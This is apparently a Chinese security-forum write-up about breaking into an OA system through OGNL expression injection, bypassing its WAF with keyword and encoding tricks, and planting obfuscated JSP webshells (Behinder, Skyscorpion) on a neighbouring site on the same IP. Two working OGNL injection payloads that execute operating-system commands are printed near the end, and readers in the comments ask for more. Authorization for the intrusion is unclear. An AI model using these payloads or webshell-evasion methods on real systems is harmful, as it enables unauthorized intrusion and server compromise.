某OA系统绕过waf拿下webshell

*前言

对于一个不怎么搞站的我来说搞一次站点确实费劲。前不久搞了一个站点。分享一下粗略过程。

正文

某日小伙伴所在的地方要让搞某OA系统测试,发到群里让看看。我看了一波貌似没有什么洞洞这让我
想起三年前的某OA系统的算算术的漏洞于是,想搞一份源代码研究一下这个算算术的这个东东于是操起神器


在fofa上找到一个站的可以算算术


接下来掏出exp就开始怼。结果显示如下。连接被重置了想到的是某x云。结果查了一波ip不是。另外我的ip没有被ban。那就是另外的waf。那还好post怼一下


get怼一下


我猜测可能是对关键字进行拦截


结果证实了我的猜想那么我们怎么办呢。当然是绕过他


我想不用我说怎么绕过的只要看截图就知道是如何绕过的我这里就不说了
Image 6

当然搞到这里有人就说了这权限这么大很高直接cs上线。或者下载exe到服务器上然后执行exe上线。稍微免杀一波就ok了
但是无奈我的vps没有续费。另外搞web的不弹个shell总觉的有点尴尬。于是开始想办法getshell.。那么我们先用命令看
这个在哪个目录。我们执行dir命令查询。握擦执行whoami可以执行这个不可以。


那么我们加上命令行参数看看成功执行
Image 8

我们来echo写webshell。发现这里有白名单解析限制。只要不是图片,等文件一律不解析


看了不能再这个OA上强搞。我们只能在看看这个ip有没有别的站点。终于找到一个站点


那么就拿它开刀就行。经过一系列的寻找我终于找到这个站点对应的web根目录。我们来写shell当然是最简短的shell最好了


我们写入成功了没有回显,我们访问我们的shell。空白接下来我们用。进行写shell我们的文件名命名成x.jsp


我们post提交一下。握擦。流量监控我们被拦截了。我们用流行的编码(base64)方式加密测试一下看看拦截么。当然我们的接收的jsp的马子没有改代码。
Image 13

我们开始测试发现没有被拦击只是报错了包500。那么这下好办了我们需要修改一下我们的接收内容的jsp的马子。经过在本地测试
我们修改的马子。大概就是下图至于是什么我就不详细截图了。我想大家能猜到


接下来我们把要上传的jsp马子base64编码提交一波看看效果。提交成功了我们访问一波我们的*********!!!!pppsx.jsp。握擦直接403

于是我又换了冰蝎 等能想到的马子都换了就是搞不定日狗了。后来我fuzz了一下知道这个waf是匹配关键字加正则。那么知道这个我们来修改一下冰蝎的马子用某code编码来绕过关键字检测。并且我们来绕过他的正则检测。我们来修改编写马子



上传上去了这次显示空白说明绕过了。我们用冰蝎连接看看显示不可连接沃日本地测试的好好的怎么连接不了。我思考可能是jdk或者是他不支持AES加密于是又写了一个jsp来获取了一下服务器的这些信息


我擦一看目标jdk版本1.6我想冰蝎马子估计是有问题得改改。我在想去github上看看有没有别的shell连接工具。于是找到了。shack2 的天蝎webshell管理工具。找到一个


直接上去肯定是不行。直接也是403.也得进行混淆免杀。于是在本地搞了一波混淆免杀。上上去了。访问一下空白连接一下看看






至此拿下webshell。没啥技术含量。从这认识到自己的不足。得研究一波jsp免杀了

看到都在求exp我发一波。要不都说我不地道 :joy:
exp1 get:

message=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())

exp2 post:

message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
6 Likes

能不能发下exp。师傅,呜呜呜

希望可以公开分享一下payload,思路虽然很重要,但是具体的方法也很想学习

师傅能否发一下payload,真的看不出来

应该是泛微 E-Mobile Ognl + Unicode